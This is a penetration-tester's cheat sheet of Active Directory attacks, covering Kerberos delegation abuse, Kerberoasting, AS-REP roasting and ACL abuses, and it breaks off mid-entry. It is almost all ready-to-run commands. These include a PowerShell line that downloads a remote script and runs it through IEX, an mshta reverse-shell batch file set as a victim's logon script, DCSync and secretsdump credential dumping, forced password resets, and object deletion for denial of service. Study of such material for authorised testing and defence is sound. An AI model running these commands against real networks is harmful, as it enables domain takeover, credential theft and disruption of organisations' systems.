Delegations
Unconstrained Delegation
It can only be executed once, as afterwards the Kerberos authentication channel between the DC and the attacking machine remains open.
To run it again, the unconstrained machine (not DC) must be restarted to break the open authentication channel:
shutdown /r /t 0
Method 1
- Obtain a shell as
NT AUTHORITY\SYSTEMon the Unconstrained delegation machine - Start
Rubeusin monitor mode:Rubeus.exe monitor /nowrap /interval:1 /filteruser:DC - Trigger the connection:
- Execute
SpoolSampleas a domain user:SpoolSample.exe dc03.infinity.com web05.infinity.com - Execute
SpoolSamplefrom PowerShell as a domain user:(new-object system.net.webclient).downloadstring('http://192.168.45.158/Invoke-Spoolsample.ps1') | IEX; Invoke-Spoolsample -Command "dc03.infinity.com web05.infinity.com" - Execute on Kali as a domain user:
python3 printerbugpy '<USERNAME>:<PASSWORD>@dc03.infinity.com' web05.infinity.com
- Execute
- Use the ticket:
- With Rubeus and Mimikatz:
- Import the ticket:
Rubeus.exe ptt /ticket:doIFIjCCBR6gAwIBBaEDAgEWo... - Perform a DCSync:
.\mimikatz.exe "lsadump::dcsync /domain:infinity.com /all" "exit"
- Import the ticket:
- With Kali:
- Decode the ticket:
echo "doIFDDCCBQigAwIBB...ndBsMSU5GSU5JVFkuQ09N" | base64 -d > DC03@INFINITY.COM.kirbi - Convert the ticket:
impacket-ticketConverter DC03@INFINITY.COM.kirbi DC03@INFINITY.COM.ccache - Load it:
export KRB5CCNAME=DC03@INFINITY.COM.ccache - Configure Kerberos: See below
- Request a service ticket:
kvno ldap/dc03.infinity.com - Perform a DCSync:
impacket-secretsdump -k -no-pass dc03.infinity.com
- Decode the ticket:
- With Rubeus and Mimikatz:
└─$ cat /etc/krb5.conf
[libdefaults]
default_realm = INFINITY.COM
dns_lookup_realm = false
dns_lookup_kdc = false
[realms]
INFINITY.COM = {
kdc = dc03.infinity.com
}
[domain_realm]
.infinity.com = INFINITY.COM
infinity.com = INFINITY.COM
Method 2 (With an existing privileged ticket)
- Execute Rubeus to export the tickets:
.\Rubeus.exe dump /nowrap /cred > tickets.txt - Extract the tickets to
.kirbifiles:$tiketsFileName="tickets.txt"; $i=0;$service="";$lines=Get-Content $tiketsFileName;for ($n=0;$n -lt $lines.Count;$n++) { if ($lines[$n] -match "^\s*ServiceName\s+:\s+(.*)") { $service = $matches[1] -replace '[^\w\-\.]', '_' } elseif ($lines[$n] -match "^\s*Base64EncodedTicket\s+:") { $i++; $b64 = $lines[$n+2].Trim(); $encodingArg = if ([int](Get-Host).Version.Major -gt 5) {@{AsByteStream = $true}} else {@{Encoding = "Byte"}}; $binary = [Convert]::FromBase64String($b64); Set-Content -Path "ticket_${i}_$($service).kirbi" -Value $binary @encodingArg }} - Inject the desired ticket:
.\Rubeus.exe ptt /ticket:"C:\Tools\CLIENT__cifs_cdc01.prod.corp1.com.kirbi"
Constrained Delegation
Windows
- Request a TGT ticket (if one is not already available):
Rubeus.exe asktgt /user:iissvc /domain:prod.corp1.com /rc4:2892D26CDF84D7A70E2EB3B9F05C425E -
- Using a User and Password (or Hash):
- Get the password NTLM hash:
Rubeus.exe hash /password:h4x - Inject a new TGT ticket:
Rubeus.exe s4u /user:iissvc /domain:prod.corp1.com /rc4:2892D26CDF84D7A70E2EB3B9F05C425E /impersonateuser:administrator /msdsspn:mssqlsvc/cdc01.prod.corp1.com:1433 /ptt
- Get the password NTLM hash:
- Using ticket:
- Inject a new TGT ticket:
Rubeus.exe s4u /ticket:doIE+jCCBP... /impersonateuser:administrator /msdsspn:mssqlsvc/cdc01.prod.corp1.com:1433 /ptt
- Inject a new TGT ticket:
- Using a User and Password (or Hash):
- Check using:
klist
- The target service can be supplanted by adding
/altservice:CIFS:Rubeus.exe s4u /ticket:doIE+jCCBP... /impersonateuser:administrator /msdsspn:mssqlsvc/cdc01.prod.corp1.com:1433 /altservice:CIFS /ptt.
Linux
- Request a Service Ticket:
impacket-getST -spn 'cifs/FILE02' -impersonate 'Administrator' 'cowmotors.com/svc_file:August25' 2>/dev/null - Load the new ticket:
export KRB5CCNAME=Administrator@cifs_FILE02@COWMOTORS.COM.ccache - Use the ticket:
impacket-psexec 'Administrator@FILE02' -k -no-pass
Resource-Based Constrained Delegation (RBCD)
Any attack against RBCD needs to happen from a computer account or a service account with a SPN.
- Create a new machine (Powermad):
New-MachineAccount -MachineAccount attackerComputer -Password $(ConvertTo-SecureString 'SecurePassword123!' -AsPlainText -Force) - Check the machine creation:
Get-DomainComputer -Identity attackerComputer - Set the SID variable:
$sid =Get-DomainComputer -Identity attackerComputer -Properties objectsid | Select -Expand objectsid - Set the Security Descriptor variable:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))" - Convert the Security Descriptor to Bytes:
$SDbytes = New-Object byte[] ($SD.BinaryLength)$SD.GetBinaryForm($SDbytes,0)
- Set the
msds-allowedtoactonbehalfofotheridentityproperty to the target machine:Get-DomainComputer -Identity appsrv01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} - Check the property assignation:
$RBCDbytes = Get-DomainComputer appsrv01 -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RBCDbytes, 0$Descriptor.DiscretionaryAclConvertFrom-SID S-1-5-21-3776646582-2086779273-4091361643-2101
-
- Using a User and Password (or Hash):
- Get the password NTLM hash:
Rubeus.exe hash /password:SecurePassword123! - Inject a new TGT ticket:
Rubeus.exe s4u /user:attackerComputer$ /rc4:AA6EAFB522589934A6E5CE92C6438221 /impersonateuser:administrator /msdsspn:CIFS/appsrv01.prod.corp1.com /ptt
- Get the password NTLM hash:
- Using a ticket:
- Inject a new TGT ticket:
Rubeus.exe s4u /ticket:doIE+jCCBP... /impersonateuser:administrator /msdsspn:CIFS/appsrv01.prod.corp1.com /ptt
- Inject a new TGT ticket:
- Using a User and Password (or Hash):
Kerberos
Kerberoasting
Windows
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
Linux
- Anonymous:
impacket-GetUserSPNs -dc-ip <DC_IP> -request [-usersfile <usernames.txt>] -outputfile hashes.kerberoast <DOMAIN>/ - Authenticated:
impacket-GetUserSPNs -dc-ip <DC_IP> -request -outputfile hashes.kerberoast <DOMAIN>/<USERNAME>
Cracking
hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
AS-REP Roasting
Windows
.\Rubeus.exe asreproast /nowrap /outfile:hashes.asreproast
Linux
- Anonymous:
impacket-GetNPUsers -dc-ip <DC_IP> -request [-usersfile <usernames.txt>] -outputfile hashes.asreproast <DOMAIN>/ - Authenticated:
impacket-GetNPUsers -dc-ip <DC_IP> -request -outputfile hashes.asreproast <DOMAIN>/<USERNAME>
Cracking
hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
ACLs
GenericAll
User over a Group
Windows
net group "Domain Admins" "<TARGET USER>" /ADD /DOMAIN
Linux
net rpc group addmem 'Domain Admins' '<TARGET USER>' -U '<DOMAIN>'/'<USERNAME>'%'<PASSWORD>' -S '[<DC IP>|<DOMAIN>]'bloodyAD --host '<DC IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' add groupMember 'Domain Admins' '<TARGET USER>'net rpc group addmem 'Domain Admins' '<TARGET USER>' -U '<DOMAIN>/<USERNAME>' -S <DC IP>
User over a User
Windows
- Powerview:
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force$Cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<TARGET USER>', $SecPassword)
- Powershell:
$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -ForceSet-DomainUserPassword -Identity '<TARGET USER>' -AccountPassword $NewPassword
Linux
net rpc password '<TARGET USER>' '<NEW PASSWORD>' -U '<DOMAIN>'/'<USERNAME>'%'<PASSWORD>' -S '[<DC IP>|<DOMAIN>]bloodyAD --host '<DC IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' set password '<TARGET USER>' 'Password123!'
User over a Computer
Windows
- Powerview:
Get-DomainComputer -Identity '<TARGET COMPUTER>'Add-DomainObjectAcl -TargetIdentity '<TARGET COMPUTER>' -Rights All -PrincipalIdentity '<USERNAME>'
- PSRemote:
Invoke-Command -ComputerName '<TARGET COMPUTER>' -ScriptBlock { whoami } -Credential $Cred
Linux
winrm -hostname <TARGET COMPUTER> -username <USERNAME> -password <PASSWORD> --command 'whoami'impacket-psexec <DOMAIN>/<USERNAME>:<PASSWORD>@<TARGET COMPUTER> cmd.exe
GenericWrite
User over a Group
Windows
- Powerview:
$GroupSID = (Get-DomainGroup -Identity 'Domain Admins').objectsidAdd-DomainObjectAcl -TargetIdentity '<TARGET USER>' -Rights WriteProperty -PrincipalIdentity '<USERNAME>' -VerboseAdd-DomainGroupMember -Identity 'Domain Admins' -Members '<TARGET USER>'
Linux
rpcclient -U '<DOMAIN>/<USERNAME>%<PASSWORD>' <DC IP> -c 'add_aliasmem domain-admins <TARGET USER>'bloodyAD --host '<DC IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' add groupMember 'Domain Admins' '<TARGET USER>'net rpc group addmem 'Domain Admins' '<TARGET USER>' -U '<DOMAIN>/<USERNAME>' -S <DC IP>
User over a User
Windows
- Powerview:
Set-DomainUser -Identity '<TARGET USER>' -Description 'Owned by <USERNAME>'Add-DomainObjectAcl -TargetIdentity '<TARGET USER>' -Rights WriteProperty -PrincipalIdentity '<USERNAME>'
- Powershell:
Set-ADUser -Identity '<TARGET USER>' -Description 'Owned by attacker'
Linux
bloodhound-python -c GenericWrite --target '<TARGET USER DN>' --user '<USERNAME>'bloodyAD --host '<DC IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' set description '<TARGET USER>' 'Owned by attacker'
Getting a shell
- Create a bat file:
echo -e '@echo off\nmshta http://192.168.45.216/file.hta' > rev.bat - Start a SMB server:
impacket-smbserver -smb2support share $(pwd) - Update the user script path:
bloodyAD --host <DC_IP> -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' set object '<TARGET_USERNAME>' scriptPath -v '\\192.168.45.216\share\rev.bat'
User over a Computer
Windows
- Powerview:
Set-DomainObject -Identity '<TARGET COMPUTER>' -Description 'Owned'Add-DomainObjectAcl -TargetIdentity '<TARGET COMPUTER>' -Rights WriteProperty -PrincipalIdentity '<USERNAME>'
Linux
impacket-secretsdump <DOMAIN>/<USERNAME>:<PASSWORD>@<TARGET COMPUTER>netexec smb <TARGET COMPUTER> -u <USERNAME> -p <PASSWORD> --sam- Change password (
-no-add):impacket-addcomputer -computer-name '<TARGET COMPUTER>' -computer-pass 'Password123!' -no-add '<DOMAIN>/<USERNAME>:<PASSWORD>'
WriteDACL
User over a Group
Windows
- Powerview:
$SD = Get-DomainObjectAcl -TargetIdentity 'Domain Admins' -ResolveGUIDsAdd-DomainObjectAcl -TargetIdentity 'Domain Admins' -Rights All -PrincipalIdentity '<TARGET USER>'
Linux
impacket-addcomputer -computer-name 'HackerMachine' -computer-pass 'Password123!' -dc-ip <DC IP> -domain <DOMAIN> -username <USERNAME> -password <PASSWORD>bloodhound-python -c WriteDACL --target 'CN=Domain Admins,CN=Users,DC=domain,DC=local' --sid S-1-5-21-XXXXX --user '<TARGET USER>'
User over a User
Windows
- Powerview:
Add-DomainObjectAcl -TargetIdentity '<TARGET USER>' -Rights All -PrincipalIdentity '<USERNAME>'Set-DomainUserPassword -Identity '<TARGET USER>' -AccountPassword (ConvertTo-SecureString 'Password123!' -AsPlainText -Force)
- Manual:
dsacls "CN=<TARGET USER>,CN=Users,DC=domain,DC=local" /takeownershipdsacls "CN=<TARGET USER>,CN=Users,DC=domain,DC=local" /G <USERNAME>:GA
Linux
bloodyAD --host <DC IP> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> set owner '<TARGET USER DN>' '<USERNAME>'bloodhound-python -c WriteDACL --target '<TARGET USER DN>' --sid '<SID>' --user '<USERNAME>'
User over a Computer
Windows
- Powerview:
Add-DomainObjectAcl -TargetIdentity '<TARGET COMPUTER>' -Rights All -PrincipalIdentity '<USERNAME>'Invoke-Command -ComputerName '<TARGET COMPUTER>' -ScriptBlock {whoami} -Credential $Cred
Linux
bloodhound-python -c WriteDACL --target '<COMPUTER DN>' --sid '<SID>' --user '<USERNAME>'bloodyAD --host <DC IP> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> set owner '<COMPUTER DN>' '<USERNAME>'
WriteOwner
User over a Group
Windows
- Powerview:
$Sid = (Get-DomainUser -Identity '<TARGET USER>').ObjectSidSet-DomainObjectOwner -TargetIdentity 'Domain Admins' -OwnerIdentity '<TARGET USER>'
- Powershell:
dsacls "CN=Domain Admins,CN=Users,DC=domain,DC=local" /takeownershipdsacls "CN=Domain Admins,CN=Users,DC=domain,DC=local" /G <TARGET USER>:GA
Linux
bloodyAD --host <DC IP> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> set owner 'CN=Domain Admins,CN=Users,DC=domain,DC=local' '<TARGET USER>'
User over a User
Windows
- Powerview:
Set-DomainObjectOwner -TargetIdentity '<TARGET USER>' -OwnerIdentity '<USERNAME>'
- Manual:
dsacls "CN=<TARGET USER>,CN=Users,DC=domain,DC=local" /takeownershipdsacls "CN=<TARGET USER>,CN=Users,DC=domain,DC=local" /G <USERNAME>:GA
Linux
bloodyAD --host <DC IP> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> set owner '<TARGET USER DN>' '<USERNAME>'
User over a Computer
Windows
- Powerview:
Set-DomainObjectOwner -TargetIdentity '<TARGET COMPUTER>' -OwnerIdentity '<USERNAME>'
- Manual:
dsacls "CN=<TARGET COMPUTER>,CN=Computers,DC=domain,DC=local" /takeownershipdsacls "CN=<TARGET COMPUTER>,CN=Computers,DC=domain,DC=local" /G <USERNAME>:GA
Linux
bloodyAD --host <DC IP> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> set owner '<COMPUTER DN>' '<USERNAME>'
ForceChangePassword
User over a User
Windows
- Powerview:
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -ForceSet-DomainUserPassword -Identity '<TARGET USER>' -AccountPassword $SecPassword
- Powershell:
net user <TARGET USER> Password123! /domain
Linux
net rpc password <TARGET USER> 'Password123!' -U '<DOMAIN>/<USERNAME>'%'<PASSWORD>' -S <DC IP>bloodyAD --host <DC IP> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> set password '<TARGET USER>' 'Password123!'
AllExtendedRights
User over a User
Windows
- Powerview:
$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -ForceSet-DomainUserPassword -Identity '<TARGET USER>' -AccountPassword $NewPassword
- Powershell:
net user <TARGET USER> Password123! /domain
Linux
net rpc password <TARGET USER> 'Password123!' -U '<DOMAIN>/<USERNAME>'%'<PASSWORD>' -S <DC IP>bloodyAD --host <DC IP> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> set password '<TARGET USER>' 'Password123!'
ReadLAPSPassword
User over a Computer
Windows
- Powerview:
Get-AdmPwdPassword -ComputerName <COMPUTER>Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd | Select-Object Name, 'ms-Mcs-AdmPwd'
- Powershell:
Get-LapsAADPassword -DeviceIds <COMPUTER> -IncludePasswords -AsPlainText
Linux
netexec smb <TARGET IP> -u <USERNAME> -p <PASSWORD> --lapsbloodhound-python -c laps --dc <DC IP> -u <USERNAME> -p <PASSWORD> -d <DOMAIN>
ReadGMSAPassword
Computer over a User/Computer
Windows
- DSInternals:
$gmsa = Get-ADServiceAccount -Identity '<TARGET_USER/COMPUTER>' -Properties 'msDS-ManagedPassword'$mp = $gmsa.'msDS-ManagedPassword'ConvertFrom-ADManagedPasswordBlob $mp(ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword | ConvertTo-NTHash$cred = new-object system.management.automation.PSCredential "<DOMAIN>\<TARGET_USER/COMPUTER>",(ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword
- Manual:
- GMSAPasswordReader:
GMSAPasswordReader.exe --AccountName '<TARGET_USER/COMPUTER>'
- GMSAPasswordReader:
Linux
- gMSADumper
gMSADumper.py -u '<USERNAME>' -p '<PASSWORD>' -d '<DOMAIN>' bloodyAD --host '<COMPUTER>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' get object 'CN=gmsa_account,CN=Managed Service Accounts,DC=example,DC=local' --attr msDS-ManagedPassword
WriteAccountRestrictions
User over a Computer
Windows
- Powerview:
- Enable
Unconstrained Delegation:Set-DomainObject -Identity '<TARGET>' -XOR @{'userAccountControl'=0x80000}- Perform a Unconstrained delegation attack
- Enable
Constrained Delegation:Set-DomainObject -Identity '<TARGET>' -Set @{'msDS-AllowedToDelegateTo'='<TARGET_SPN (ej: HTTP/webserver.lab.local)>'}- Perform a Constrained delegation attack
- Enable
Linux
- Enable
Unconstrained Delegation:bloodyAD --host '<DC_IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' set user '<TARGET>' --UserAccountControl TRUSTED_FOR_DELEGATION- Perform a Unconstrained delegation attack
- Enable
Constrained Delegation:bloodyAD --host '<DC_IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' set user '<TARGET>' --msDS-AllowedToDelegateTo '<TARGET_SPN (ej: HTTP/webserver.lab.local)>'- Perform a Constrained delegation attack
WriteSPN
User over a User (Kerberoasting via SPN injection)
Linux
- Inject the SPN:
bloodyAD --host <DC_IP> -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' set object '<TARGET_USERNAME>' servicePrincipalName -v 'http/<FAKE_SPN>.<DOMAIN>' - Extract the hash using Impacket:
impacket-GetUserSPNs -dc-ip <DC_IP> -request -outputfile hashes.kerberoast <DOMAIN>/<USERNAME>:<PASSWORD> - Crack the hash:
hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt
Windows
- Add a fake SPN to the target user:
setspn -S http/<FAKE_SPN>.<DOMAIN> <DOMAIN>\<TARGET_USERNAME> - Verify the SPN:
setspn -L <DOMAIN>\<TARGET_USERNAME> - Extract the TGS:
Rubeus.exe kerberoast /user:<TARGET_USERNAME> /nowrap /format:hashcat /outfile:hashes.kerberoast - Crack the hash:
hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt
Computer over a User (Kerberoasting from SYSTEM)
Linux
- Inject the SPN:
bloodyAD --host <DC_IP> -d '<DOMAIN>' -u '<MACHINE_ACCOUNT>$' -p '<PASSWORD>' set object '<TARGET_USERNAME>' servicePrincipalName -v 'http/<FAKE_SPN>.<DOMAIN>' - Extract the hash using Impacket:
impacket-GetUserSPNs -dc-ip <DC_IP> -request -outputfile hashes.kerberoast <DOMAIN>/<USERNAME>:<PASSWORD> - Crack the hash:
hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt
Windows
- Add a fake SPN to the target user:
setspn -S http/<FAKE_SPN>.<DOMAIN> <DOMAIN>\<TARGET_USERNAME> - Verify the SPN:
setspn -L <DOMAIN>\<TARGET_USERNAME> - Extract the TGS:
Rubeus.exe kerberoast /user:<TARGET_USERNAME> /nowrap /format:hashcat /outfile:hashes.kerberoast - Crack the hash:
hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt
User over a Computer (RBCD via SPN hijack)
Linux
- Create a fake machine account:
impacket-addcomputer -computer-name <FAKE_COMPUTER> -computer-pass '<PASSWORD>' -domain <DOMAIN> -dc-ip <DC_IP> -username <USERNAME> -password <PASSWORD> - Assign the victim machine’s SPN to the fake machine account:
bloodyAD --host <DC_IP> -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' set object '<FAKE_COMPUTER>$' servicePrincipalName -v 'cifs/<TARGET_COMPUTER>' - Set RBCD on the target computer (with crafted descriptor):
bloodyAD --host <DC_IP> -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' set object '<TARGET_COMPUTER>' msds-allowedToActOnBehalfOfOtherIdentity -v '<B64_SECURITY_DESCRIPTOR>' - Import the ticket:
export KRB5CCNAME=<TICKET_FILE>.ccache - Impersonate user using Impacket:
impacket-psexec -k -no-pass -dc-ip <DC_IP> <DOMAIN>/<PRIV_USER>@<TARGET_COMPUTER>
Windows
- Create a fake machine account:
New-MachineAccount -MachineAccount <FAKE_COMPUTER> -Password $(ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force) - Assign the victim machine’s SPN to the fake machine account:
setspn -S cifs/<TARGET_COMPUTER> <FAKE_COMPUTER>$ - Get the SID of the fake machine:
$sid = Get-DomainComputer -Identity <FAKE_COMPUTER> -Properties objectsid | Select -Expand objectsid - Build and apply the security descriptor:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"; $SDbytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDbytes, 0); Set-DomainObject -Identity <TARGET_COMPUTER> -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDbytes} - Impersonate with Rubeus:
Rubeus.exe s4u /user:<FAKE_COMPUTER>$ /rc4:<NTLM_HASH> /impersonateuser:<PRIV_USER> /msdsspn:cifs/<TARGET_COMPUTER> /ptt
Computer over a Computer (RBCD via SPN hijack)
Linux
- Set the SPN:
bloodyAD --host <DC_IP> -d '<DOMAIN>' -u '<CONTROLLED_COMPUTER>$' -p '<PASSWORD>' set object '<CONTROLLED_COMPUTER>$' servicePrincipalName -v 'cifs/<TARGET_COMPUTER>' - Retrieve the SID of the controlled computer:
ldapsearch -x -H ldap://<DC_IP> -D "<DOMAIN>\<USERNAME>" -w '<PASSWORD>' -b "CN=<CONTROLLED_COMPUTER>,CN=Computers,DC=<DC_PART>,DC=<TLD>" objectSID - Build a base64-encoded security descriptor allowing delegation to the controlled computer’s SID (PowerShell):
$base64Sid = '<LDAPSEARCH_SID>'; $sidBytes = [Convert]::FromBase64String($base64Sid); $sid = New-Object System.Security.Principal.SecurityIdentifier($sidBytes, 0); $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$sid)"; $SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0); $SDBase64 = [Convert]::ToBase64String($SDBytes); $SDBase64 - Set RBCD on the target computer (with crafted descriptor):
bloodyAD --host <DC_IP> -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' set object '<TARGET_COMPUTER>' msds-allowedToActOnBehalfOfOtherIdentity -v '<B64_SECURITY_DESCRIPTOR>' - Request a TGT for the controlled machine account:
impacket-getTGT <DOMAIN>/<CONTROLLED_COMPUTER>$:<PASSWORD> -dc-ip <DC_IP> - Import the ticket:
export KRB5CCNAME=<TICKET_FILE>.ccache - Impersonate user using Impacket:
impacket-psexec -k -no-pass -dc-ip <DC_IP> <DOMAIN>/<PRIV_USER>@<TARGET_COMPUTER>
Windows
- Assign the target computer's SPN to the current computer account:
setspn -S cifs/<TARGET_COMPUTER> <CONTROLLED_COMPUTER>$ - Retrieve the SID of the controlled computer:
$sid = Get-DomainComputer -Identity <CONTROLLED_COMPUTER> -Properties objectsid | Select -ExpandProperty objectsid - Build and apply the security descriptor:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"; $SDbytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDbytes, 0); Set-DomainObject -Identity <TARGET_COMPUTER> -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDbytes} - Impersonate with Rubeus:
Rubeus.exe s4u /user:<FAKE_COMPUTER>$ /rc4:<NTLM_HASH> /impersonateuser:<PRIV_USER> /msdsspn:cifs/<TARGET_COMPUTER> /ptt
AddKeyCredentialLink
Linux
Install PyWhisker:
pip3 install pywhisker --break-system-packagesInstall PKINITtools:git clone https://github.com/dirkjanm/PKINITtoolspip3 install impacket minikerberos
- Generate a new certificate:
pywhisker -u '<USERNAME>' -p '<PASSWORD>' -d '<DOMAIN>' -t '<TARGET_USERNAME>' --dc-ip <DC_IP> -a add --filename new_cert --export PEM - Request a TGT ticket:
gettgtpkinit -dc-ip <DC_IP> -cert-pem new_cert_cert.pem -key-pem new_cert_priv.pem '<DOMAIN>/<TARGET_USERNAME>' new_ticket.ccache - Save the
AS-REP Encryption Keyreturned bygettgtpkinit:INFO:minikerberos:AS-REP encryption key (you might need this later):... - Import the ticket:
export KRB5CCNAME=new_ticket.ccache - Recover the NT hash:
getnthash -dc-ip <DC_IP> -key <gettgtpkinit AS-REP Encryption Key> '<DOMAIN>/<USERNAME>'
AddMember
User over a Group
Windows
- Powerview:
Add-DomainGroupMember -Identity '<TARGET GROUP>' -Members '<TARGET USER>'
- Powershell:
Add-ADGroupMember -Identity '<TARGET GROUP>' -Members '<TARGET USER>'
Linux
net rpc group addmem '<TARGET GROUP>' '<TARGET USER>' -U '<DOMAIN>/<USERNAME>%<PASSWORD>' -S <DC IP>bloodyAD --host '<DC IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' add groupMember '<TARGET GROUP>' '<TARGET USER>'
Computer over a Group
Windows
- Powerview:
Add-DomainGroupMember -Identity '<TARGET GROUP>' -Members '<TARGET COMPUTER>$'
Linux
bloodyAD --host '<DC IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' add groupMember '<TARGET GROUP>' '<TARGET COMPUTER>$'net rpc group addmem '<TARGET GROUP>' '<TARGET COMPUTER>$' -U '<DOMAIN>/<USERNAME>%<PASSWORD>' -S <DC IP>
ResetPassword
Same practical abuse as ForceChangePassword: extended right allowing a password reset on the target user without knowing the current password.
User over a User
Windows
- Powerview:
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -ForceSet-DomainUserPassword -Identity '<TARGET USER>' -AccountPassword $SecPassword
- Powershell:
net user <TARGET USER> Password123! /domain
Linux
net rpc password '<TARGET USER>' 'Password123!' -U '<DOMAIN>/<USERNAME>%<PASSWORD>' -S <DC IP>bloodyAD --host '<DC IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' set password '<TARGET USER>' 'Password123!'
CreateChild
Right to create child objects under an OU/container (users, computers, groups, …). Commonly abused to create a computer account for RBCD or Shadow Credentials.
User over an OU / Container
Windows
- Powerview (create computer):
New-MachineAccount -MachineAccount '<FAKE_COMPUTER>' -Password $(ConvertTo-SecureString 'SecurePassword123!' -AsPlainText -Force)
- Powershell:
New-ADComputer -Name '<FAKE_COMPUTER>' -SamAccountName '<FAKE_COMPUTER>$' -Path 'OU=<OU>,DC=<DOMAIN>,DC=<TLD>' -AccountPassword (ConvertTo-SecureString 'SecurePassword123!' -AsPlainText -Force) -Enabled $true
Linux
- Create a computer account:
impacket-addcomputer -computer-name '<FAKE_COMPUTER>' -computer-pass 'SecurePassword123!' '<DOMAIN>/<USERNAME>:<PASSWORD>' -dc-ip <DC_IP> bloodyAD --host '<DC IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' add computer '<FAKE_COMPUTER>' 'SecurePassword123!'- Then abuse via RBCD or AddKeyCredentialLink
DeleteChild
Right to delete child objects under an OU/container. Used for denial of service, removing competing ACEs/objects, or clearing machines before recreating them under your control.
User over an OU / Container
Windows
- Powershell:
Remove-ADComputer -Identity '<TARGET COMPUTER>' -Confirm:$falseRemove-ADUser -Identity '<TARGET USER>' -Confirm:$falseRemove-ADGroup -Identity '<TARGET GROUP>' -Confirm:$false
Linux
bloodyAD --host '<DC IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' remove object '<TARGET>'- After deleting a computer object you control the name for, recreate it and continue with CreateChild / RBCD abuse
WriteProperty
Generic write on one or more attributes. Impact depends on which property is writable. Highest-value targets below.
User over a User
Linux
- Shadow Credentials (
msDS-KeyCredentialLink): follow AddKeyCredentialLink - SPN injection (
servicePrincipalName): follow WriteSPN - UPN /
dNSHostNametampering (ESC9/ESC10): see ESC9 / ESC10 bloodyAD --host '<DC IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' set object '<TARGET>' <ATTRIBUTE> -v '<VALUE>'
Windows
- Powerview:
Set-DomainObject -Identity '<TARGET>' -Set @{'<ATTRIBUTE>'='<VALUE>'} - Shadow Credentials: Whisker / PyWhisker (see AddKeyCredentialLink)
User over a Computer
Linux
- RBCD (
msDS-AllowedToActOnBehalfOfOtherIdentity): follow RBCD bloodyAD --host '<DC IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' set object '<TARGET COMPUTER>$' msDS-AllowedToActOnBehalfOfOtherIdentity -v '<B64_SECURITY_DESCRIPTOR>'
Owns
You are the owner of the AD object (or can become owner). Owner can always write the DACL → escalate to
GenericAll/ any right, then abuse the object.
Any principal over any object
Windows
- Take ownership if needed:
Take-DomainObjectOwner -Identity '<TARGET>' -OwnerIdentity '<USERNAME>'(PowerView) orbloodyAD-equivalent - Grant yourself full control:
Add-DomainObjectAcl -TargetIdentity '<TARGET>' -PrincipalIdentity '<USERNAME>' -Rights All - Abuse as GenericAll / WriteDACL / WriteOwner
Linux
- Become owner:
bloodyAD --host '<DC IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' set owner '<TARGET>' '<USERNAME>' - Grant GenericAll:
